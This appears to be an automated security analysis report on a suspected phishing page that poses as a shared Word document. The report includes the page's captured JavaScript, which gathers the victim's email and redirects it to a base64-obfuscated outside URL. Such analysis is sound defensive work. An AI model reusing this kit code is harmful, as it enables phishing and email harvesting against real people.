Windows Analysis Report
http://jonotarmot.com/dcs/ms_doc.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: http://jonotarmot.com

{
    "risk_score": 4,
    "reasoning": "The script has a moderate risk level due to the following factors:
- It uses the `window.location.href` property to redirect the user to a dynamically constructed URL, which could potentially lead to a malicious redirect (2 points).
- The script decodes a base64-encoded string to construct the final URL, which could be used to obfuscate the destination (2 points).
- However, the script also includes a basic email validation function, which suggests a legitimate purpose. Additionally, the script does not exhibit any high-risk behaviors like dynamic code execution or data exfiltration."
}

        document.getElementById('continue-button').addEventListener('click', function() {
            continueLoading();
        });

        document.getElementById('thesupwillsup-input').addEventListener('keydown', function(event) {
            if (event.key === 'Enter') {
                continueLoading();
            }
        });

        function continueLoading() {
    var thesupwillsup = document.getElementById('thesupwillsup-input').value;
    if (validateEmail(thesupwillsup)) {
        var linkx = "aHR0cHM6Ly8wbmxpbmUxLm1vc3Qtc2VjdXJlLmluay8/dXNlcm5hbWU9"; //PUT YOUR LINK HERE
        var decodedLink = atob(linkx);
        var finalLink = decodedLink + "" + thesupwillsup;  // appender
        window.location.href = finalLink;
    } else {
        alert("Please enter a valid email address.");
    }
}


        function validateEmail(email) {
            var re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return re.test(email);
        }
    

{
"contains_trigger_text": true,
"trigger_text": "We need verify the intended recipient's email to continue reading in word document. Please enter the email address to which document was shared.",
"prominent_button_name": "Open in Word Document",
"text_input_field_labels": "517r02@ydtohcj.io",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}